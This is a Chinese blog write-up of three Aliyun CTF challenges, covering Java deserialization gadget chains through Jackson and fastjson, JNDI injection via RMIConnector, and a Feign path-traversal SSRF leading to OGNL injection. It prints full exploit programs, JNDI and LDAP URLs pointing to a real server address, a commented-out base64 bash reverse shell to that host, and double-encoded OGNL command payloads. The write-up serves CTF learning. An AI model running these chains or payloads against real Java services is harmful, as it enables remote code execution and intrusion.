阿里云CTF wp

阿里云CTF wp

很早之前的比赛,当时忙着打红队没做,后面发现都是很宝藏的题目和考点

ezbean

参考:Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF ) - FreeBuf网络安全行业门户

分析

直接给了反序列化位点,但是重写resolveClass实现了黑名单过滤

           "java\\.security.*", "java\\.rmi.*",  "com\\.fasterxml.*", "com\\.ctf\\.*",
           "org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"

然后题目给了个MyBean,正常肯定是需要用到的

看依赖pom

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.60</version>
        </dependency>
    </dependencies>

fastjson版本1.2.60

image-20230809160111198

常规的直接fastjson一把梭是不可行的,找能打jndi的组件吧

有spring-boot-starter-web的话,那肯定是有jackson依赖的,

BadAttributeValueExpException#toString/构造方法->POJONode#toString->(jackson原生反序列化) 任意getter方法

javaBean的getter可以被调用

然后我们找jndi注入的点

   private JMXConnector conn;

   ...

   public String getConnect() throws IOException {
      try {
         this.conn.connect();
         return "success";
      } catch (IOException var2) {
         return "fail";
      }
   }

题目暗示我们下一处应该是connect,好,怎么找,这里我卡住了

我和大牛的差距在这了

JMXConnector 接口的实现类在题目环境下仅存在 RMIConnector 一种实现类

怎么找这个类是个很重要的细节,后面想通了

private JMXConnector conn;

首先它肯定是个JMXConnector,然后ctrl进去看它具体内容,哦,是个接口

右键寻找usage (这里注意必须要源码,不能是反编译的class)

image-20230809164834615

肯定找implements clause

然后直接就找到RMIConnector#connect方法

本地可以测一下是不是能打rmi (省时间不调试,直接黑盒测)

测的时候构造一下

RMIConnector rmiConnector = new RMIConnector();
rmiConnector.connect();

构造方法看看造,可以看到一个demo

image-20230809171401447

需要一个JMXSeriviceURL类

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://8.129.42.140:1099/lrr6o1");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
rmiConnector.connect();

vps起一个jndi-injection-master.jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.129.42.140

结果connect的时候寄

Exception in thread "main" java.net.MalformedURLException: URL path must begin with /jndi/ or /stub/ or /ior/: /lrr6o1
    at javax.management.remote.rmi.RMIConnector.findRMIServer(RMIConnector.java:1934)
    at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:287)
    at javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:249)
    at com.example.mydemo.qwq.Test.main(Test.java:19)

这个地方不是很理解,希望有评论区老哥教一下

最后应该这样构造

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/ldap://8.129.42.140:1389/lrr6o1");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
rmiConnector.connect();

然后可以弹计算器

rmi也可以

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://8.129.42.140:1099/lrr6o1");

        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        rmiConnector.connect();

jackson

后面就是jackson调任意getter-》MyBean#Getconnect->#RMIConnector#connect

exp

package com.example.mydemo.qwq;

import com.example.mydemo.bean.MyBean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class SerializeTest {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  void  base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://8.129.42.140:1099/lrr6o1");

        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        MyBean myBean = new MyBean("123", "123", rmiConnector);

//        rmiConnector.connect();

        // jackson
        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(myBean);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

        serialize(val);
        unserialize("ser.bin");

        base64encode_exp(val);

    }
}

image-20230809173218220

结果打的时候发现被Ban了

image-20230809173417186

image-20230809173426410

一看在黑名单里面,那么我们想办法绕过!

学一手fastjson,它也是任意调用getter的存在!

fastjson

JSONObject在高于1.2.48的时候JSONObject和JSONArray都实现了自己的readObject方法

这样可以写任意调用getter方法,思路和jackson类似

BadAttributeValueExpException#toString/构造方法->JSONObject#toString->(fastjson原生反序列化)-> 任意getter方法

image-20230810143825518

同时它自己也有readObject,为了弄清楚高版本下的fastjon是否也存在黑名单的干扰(autoType), 我们调进去看一下,

image-20230810144517998

可以看到阿里处心积虑写了个SecureObjectInputStream包裹输入流

然后再第399行进去,可以看到resolveClass这个经典的用来作黑名单验证的类,

image-20230810145008117

具体来说其实是通过checkAutoType实现,跟进去

后面逻辑很长,放张black hat议题的图

image-20230810145100160

这里 name 就是 classname 类名。expectClass 为 null。

image-20230810145209962

按照这里 autoTypeSupport 应该为 true 才不会 throw error,但是我们实际尝试发现其实并不会报错,但是我们也并没有手动开启 autoType。这是因为在调用 checkAutoType 函数时我们传入的最后一个参数为 Feature.SupportAutoType.mask (见上上上张图)而我们进行比较时用的是 feature & Feature.SupportAutoType.mask ,

image-20230810145418909

这里 feature 就是我们传入的 Feature.SupportAutoType.mask,这样就相当于传入了开启 autoType 的选项。

然后会报找不到构造方法

image-20230810145653787

原因是ParseConfig中,在build之前把这个类缓存了,存在一个static的mapping里,在二次反序列化的时候会在上层代码尝试从缓存获取类中拿到类因而提前返回。也就走不到

JavaBeanInfo.build 这一步,也就不会报错找不到默认构造函数了。因此只需要多打几次 payload 就能成功 rce 。

package com.example.mydemo.qwq;

import com.alibaba.fastjson.JSONObject;
import com.example.mydemo.bean.MyBean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class SerializeTest {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  void  base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://8.129.42.140:1099/ijg8qk");

        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        MyBean myBean = new MyBean("123", "123", rmiConnector);

//        rmiConnector.connect();

//        // jackson
//        // 删除 jsonNode 的 writeReplace
//        try {
//            ClassPool pool = ClassPool.getDefault();
//            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
//            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
//            jsonNode.removeMethod(writeReplace);
//            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
//            jsonNode.toClass(classLoader, null);
//        } catch (Exception e) {
//        }
//
//        POJONode node = new POJONode(myBean);
//        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
//        setValue(val, "val", node);
//
//        serialize(val);
//        unserialize("ser.bin");
//
//        base64encode_exp(val);

        // fastjson

        JSONObject json= new JSONObject();
        json.put("YYY", myBean);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        setValue(poc, "val",json);

        serialize(poc);
//        unserialize("ser.bin");
        base64encode_exp(poc);

    }
}

非预期 - fastjson rce

https://www.cnpanda.net/sec/928.html

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/#%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8

就是直接用文章里的exp打,回头说原理

BadAttributeValueExpException#toString->toJSONString#toString->(任意getter)->TemplatesImpl
package com.example.mydemo.qwq;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class TempFastjson {

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  void  base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
//        byte[] code = getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|{bash,-i}");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        setValue(poc, "val",jsonArray);
        HashMap hashMap = new HashMap();
        hashMap.put(templates,poc);
        serialize(hashMap);
//        unserialize("ser.bin");
        base64encode_exp(hashMap);

    }
}

image-20230810174841634

Bypassit 1

jackson任意调用

题目一看就是直接反序列化,那么咱去看pom

image-20230816174843891

pom.xml只有这点

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

我当时看到这个直接裂开,但现在看来已经没什么惊奇的了,这个题就是巅峰极客的babyurl的原型了

BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl

exp

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }    

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
//        byte[] code = getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|{bash,-i}");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

        serialize(val);
        unserialize("ser.bin");

        base64encode_exp(val);

    }

这个题考骚一点东西还可以更多,比如说把一些getflag的类(可以理解为templateImpl这些rce类)放入黑名单(参考巅峰极客),可以加个SignObject绕过一下,而如果templateImpl和signedObject被放入黑名单,也可以调用JdbcRowSetimpl#getDatabaseMetaData从而造成jndi注入

这里也考考师傅们一个问题,如果BadAttributeException被禁的话,你们可以绕过吗(笑)

The path to Shell

这个题看上去是审javacms

看到路由是在WEB-INF/classes(废话)目录下的org.ctf

app目录

@RequestMapping({"/user"})
public class UserController {
    private static final String BACKEND_URL = "http://127.0.0.1:8080/backend/";

    public UserController() {
    }

    @GetMapping({"/{name}"})
    public User getUserByName(@PathVariable("name") String name) {
        UserClient userResource = (UserClient)Feign.builder().encoder(new GsonEncoder()).decoder(new GsonDecoder()).target(UserClient.class, "http://127.0.0.1:8080/backend/");
        return userResource.getUser(name);
    }
}

backend目录

有个doGet,一眼ognl表达式注入

image-20230817001011635

但是仔细看是有个filter在过滤的

重点关注

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        if (this.localAddresses.contains(servletRequest.getRemoteAddr())) {
            filterChain.doFilter(servletRequest, servletResponse);
        } else {
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            response.sendError(403);
        }

    }

这里只有localAddresses这个string set里的白名单才放行

contains函数看了一下,可能也是有漏洞点的,如果只是字符串包含白名单可能可以绕

白盒看得差不多了就起个环境,把war包放在tomcat的webapp目录下,然后直接去bin目录运行startup.bat,它会自动解压,这样服务就启动了,访问8080/app则可以访问到app

打开界面是个静态界面,输入的name抓包后可以看到会发送/app/user/{name}到后端,这里就被对应的usercontroller收到了,那么{name}这个位置是可控的

看到返回值是

image-20230817143535092

usercontroller转发到了UserResource

@Path("/user")
@Produces({"application/json"})
public class UserResource {
    public UserResource() {
    }

    @GET
    @Path("/{name}")
    public Response getUserByName(@PathParam("name") String name) {
        User user = new User();
        user.setName(name);
        user.setId(System.currentTimeMillis());
        return Response.ok().entity(user).build();
    }
}

因为我看这个id应该是从这里算出来的

app#/app/user/{name} -》 backend#/app/{name}

我们要去action才行,由于白名单的存在,所以这个地方可以用来ssrf,为了访问action,马上想到目录穿越

image-20230817144424937

常规的../被编码了,原因是出在Feign这个依赖上

但是这个依赖对于%2F却会替换为/,所以 %2F..%2F..%2F..%2F 就能跳了 (验证失败)

然后url双编码一下,这样可以跳

因为 ActionServlet 本身对路径的参数做了二次解码,所以可以如下构造:

/app/user/..%252F..%252F..%252Fbackend%252Faction%252F%2528%2528%256E%2565%2577%2520%256A%2561%2576%2561%2578%252E%2573%2563%2572%2569%2570%2574%252E%2553%2563%2572%2569%2570%2574%2545%256E%2567%2569%256E%2565%254D%2561%256E%2561%2567%2565%2572%2528%2529%2529%252E%2567%2565%2574%2545%256E%2567%2569%256E%2565%2542%2579%254E%2561%256D%2565%2528%2527%256A%2573%2527%2529%2529%252E%2565%2576%2561%256C%2528%2527%256A%2561%2576%2561%252E%256C%2561%256E%2567%252E%2552%2575%256E%2574%2569%256D%2565%252E%2567%2565%2574%2552%2575%256E%2574%2569%256D%2565%2528%2529%252E%2565%2578%2565%2563%2528%2522%2577%2567%2565%2574%2520%256C%256F%2563%2561%256C%2568%256F%2573%2574%253A%2531%2532%2533%2534%2522%2529%2527%2529

/app/user/..%252F..%252F..%252Fbackend%252Faction%252F 后面的部分就是 ognl 表达式经过二次 url 编码的部分。

((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")')

这里写个脚本转hex,然后每个字符前面加上百分号就好

或者用

image-20230817173809950

然后再点上面的url encode 而不是(all character),别把数字也编码了,这样就是一次编码了

这里主要学个idea调试war包

idea

image-20230817165338113

默认配置就好

接着操作本地文件

  • 如果是jar包运行

java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 demo-0.0.1-SNAPSHOT.jar

  • tomcat

win:

修改tomcat bin目录下的catalina.bat (自己找到在哪,搜一下JAVA_OPTS)

set JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

mac修改tomcat bin目录下的catalina.sh
在catalina.sh中最上方加上

JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"

然后可能jdk版本不匹配

idea修改jdk不用我教了。tomcat的话

修改bin 下的 setclasspath.bat

set JAVA_HOME=D:\Program Files\Java\jdk7\jdk1.7.0_51

set JRE_HOME=D:\Program Files\Java\jdk7\jre7

注意如果debug的时候,可以监听但是没有中断点,可能是没添加索引:

image-20230817171525952

把需要调试用到的class和lib都添加进去(就是全部添加)

image-20230817171554281

随后等待一下,如果红点旁边带勾勾的话,就是成了(有点卡,要多触发几次)

image-20230817171808109

然后下断点在getUserByName这里,可以监控参数

然后黑白盒测试的思维

../肯定是会尝试的,结果明显直接没进到getUserByName

..%2F 这个抽象了点

/app/user/..%2F..%2F..%2F..%2F..%2Fbackend%2Fapp%2F123

也是没进去

action的话可以看到url解码了一次,(但是是action后的字符串),有点迷,不过它要是解码一次,ssrf正常来说要再编码一次,所以尝试双编码

/app/user/..%2F..%2F..%2F..%2F..%2Fbackend%2Fapp%2F123

尝试后发现报的错不太一样,但是也没进controller,看来controller不太行,我去试试下断点action

尝试如下,好了我中了

/app/user/..%252F..%252F..%252Fbackend%252Faction%252F123

image-20230817173249779

懂了,可恶,它前面会自动在你的url前加backend

这题最大的坑就是../不能多一个少一个,而backend它会自动给你加上,这我就有点调不出来了,所幸能命中断点,(并且回显和多打以一个../一样,也就是说调试得到的有效信息比光看回显要多)

后面的故事不讲了,就是ognl注入,找篇文章

一文读懂OGNL漏洞 - 先知社区 (aliyun.com)

action后面payload防止url解析错误,选择urlencode(all characters) ,第二次则直接urlencode普通编码

/app/user/..%252F..%252F..%252Fbackend%252Faction%252F%2528%2528%256e%2565%2577%2520%256a%2561%2576%2561%2578%252e%2573%2563%2572%2569%2570%2574%252e%2553%2563%2572%2569%2570%2574%2545%256e%2567%2569%256e%2565%254d%2561%256e%2561%2567%2565%2572%2528%2529%2529%252e%2567%2565%2574%2545%256e%2567%2569%256e%2565%2542%2579%254e%2561%256d%2565%2528%2527%256a%2573%2527%2529%2529%252e%2565%2576%2561%256c%2528%2527%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2552%2575%256e%2574%2569%256d%2565%252e%2567%2565%2574%2552%2575%256e%2574%2569%256d%2565%2528%2529%252e%2565%2578%2565%2563%2528%2522%2563%2561%256c%2563%2522%2529%2527%2529

可以看见ssrf传过来解码一次(uri),然后它自己又urldecode解码一次(action)

image-20230817175357574

image-20230817175439784

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇